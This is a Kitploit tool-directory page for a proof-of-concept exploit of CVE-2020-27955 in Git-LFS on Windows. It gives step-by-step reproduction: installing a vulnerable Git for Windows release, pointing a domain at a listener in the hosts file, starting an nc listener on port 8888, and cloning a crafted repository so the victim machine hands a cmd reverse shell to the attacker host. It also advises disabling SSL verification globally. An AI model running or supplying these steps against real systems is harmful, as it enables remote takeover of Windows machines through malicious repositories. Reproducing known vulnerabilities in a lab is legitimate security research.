Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-27955 — Proof-of-concept exploit for CVE-2020-27955 in Git-LFS, demonstrating remote code execution via a crafted git clone operation to obtain a reverse shell. | Kitploit
Tools/GitHubGitHub/z50913/cve-2020-27955
Payload GenerationVulnerability AnalysisExploitationLateral MovementPenetration TestingCommand and Control
GitHubz50913/cve-2020-27955

CVE-2020-27955

Proof-of-concept exploit for CVE-2020-27955 in Git-LFS, demonstrating remote code execution via a crafted git clone operation to obtain a reverse shell.

View Repository
43 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-27955 Vulnerability Reproduction

  1. Download the vulnerable version of Git-LFS on the Windows machine

Download link: https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1

  1. Install on the Windows machine, add the following information to the hosts file. 10.1.1.5 is the host that nc listens on port 8888 (can be replaced as needed)

10.1.1.5 abcall.xyz

  1. On the 10.1.1.5 host, start nc listening on port 8888

┌──(root㉿hostname)-[~]

└─# nc

Cmd line: -l -p 8888

  1. On the Windows machine, enter the following command in cmd

git clone https://github.com/z50913/CVE-2020-27955.git

  1. The 10.1.1.5 host obtains a cmd shell on the Windows machine

#Other If an SSL certificate error occurs, first run the following command to disable SSL verification, then clone again

git config --global http.sslverify false

Download Tool